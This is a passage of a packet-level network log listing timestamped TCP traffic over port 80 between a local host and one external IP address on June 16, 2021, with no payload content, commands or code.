Jun 16, 2021 12:05:53.191203117 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.191797972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.191826105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.191849947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.191865921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.191926003 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.192615986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.192641973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.192658901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.192672014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.192722082 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.193459988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.193486929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.193507910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.193531036 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.193556070 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.193581104 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.194286108 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.194310904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.194327116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.194391966 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.199930906 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.200028896 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.346860886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.346900940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.346925974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.346950054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.346975088 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.346987963 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.346999884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.347012043 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.347028971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.347074986 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.347203016 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.347234011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.347256899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.347280979 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.347284079 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.347306013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.347330093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.347332954 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.347354889 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.347378016 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.347394943 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.347587109 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.347788095 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.348119974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.348153114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.348176956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.348200083 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.348202944 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.348225117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.348243952 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.348253012 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.348277092 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.348301888 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.348350048 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.348550081 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.349036932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.349067926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.349090099 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.349114895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.349119902 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.349143982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.349154949 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.349169970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.349194050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.349210978 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.349973917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350008011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350032091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350059032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350069046 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.350085020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350105047 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350126982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350136995 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.350172997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.350864887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350899935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350923061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350948095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350967884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.350984097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.351002932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.351028919 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.351039886 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.351048946 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.351831913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.351864100 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.351885080 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.351910114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.351934910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.351948977 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.351955891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.351972103 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.351980925 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.352025986 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.352793932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.352822065 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.352849007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.352874041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.352895975 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.352902889 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.352931023 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.352955103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.352961063 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.353178024 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.353677034 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.353704929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.353728056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.353751898 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.353774071 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.353780985 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.353797913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.353820086 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.353821993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.353863955 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.354487896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.354517937 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.354542971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.354568005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.354578972 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.354593992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.354610920 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.354619026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.354645967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.354661942 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.355462074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.355490923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.355516911 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.355521917 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.355541945 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.355566978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.355590105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.355591059 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.355618000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.355669022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.356343031 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.356370926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.356396914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.356422901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.356446028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.356446981 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.356471062 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.356515884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.357112885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.357141972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.357163906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.357182980 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.357188940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.357213974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.357238054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.357259035 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.357261896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.357312918 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.358093023 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.358124018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.358149052 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.358170986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.358174086 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.358198881 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.358215094 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.358226061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.358253956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.358304977 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.358973980 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.358998060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359020948 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359042883 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359054089 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.359061956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359080076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359091043 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.359097004 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359421968 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.359790087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359808922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359826088 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359842062 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359858990 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359863997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.359877110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359885931 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.359899044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.359922886 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.360734940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.360754967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.360774994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.360793114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.360810041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.360831022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.360833883 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.360845089 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.360851049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.360872984 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.361639977 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.361663103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.361677885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.361706972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.361707926 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.361749887 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.383224010 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.383277893 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.478943110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.478975058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.478996038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479018927 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479039907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479059935 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479083061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479135036 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.479182005 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.479285002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479309082 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479332924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479345083 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.479353905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479371071 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.479377985 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479401112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479423046 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.479424953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.479470968 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.480211020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.480242014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.480268955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.480290890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.480314016 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.480336905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.480338097 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.480365038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.480422020 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.481137037 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.481164932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.481187105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.481213093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.481235981 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.481256008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.481261969 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.481280088 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.481300116 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.482059002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.482089996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.482112885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.482126951 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.482134104 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.482157946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.482181072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.482196093 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.482203960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.482249022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.482932091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.482964993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.482989073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.483011961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.483020067 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.483035088 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.483058929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.483083963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.483108997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.483889103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.483922958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.483946085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.483959913 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.483968973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.483997107 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.484018087 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.484019995 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.484046936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.484062910 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.484762907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.484791040 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.484824896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.484843969 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.484857082 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.484865904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.484888077 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.484890938 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.484910965 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.484934092 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.485707998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.485735893 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.485759020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.485771894 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.485785007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.485811949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.485830069 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.485836983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.485862970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.485919952 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.486579895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.486608982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.486634970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.486660004 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.486684084 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.486706972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.486707926 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.486730099 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.486790895 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.487500906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.487528086 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.487551928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.487576008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.487598896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.487621069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.487628937 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.487648964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.487674952 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.488411903 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.488440990 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.488457918 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.488475084 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.488498926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.488512039 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.488523960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.488529921 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.488718987 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.489173889 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.489202976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.489227057 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.489250898 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.489252090 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.489278078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.489294052 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.489301920 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.489327908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.489346027 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.490120888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.490150928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.490173101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.490185976 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.490196943 CEST	80	49169	172.67.158.27	192.168.2.22
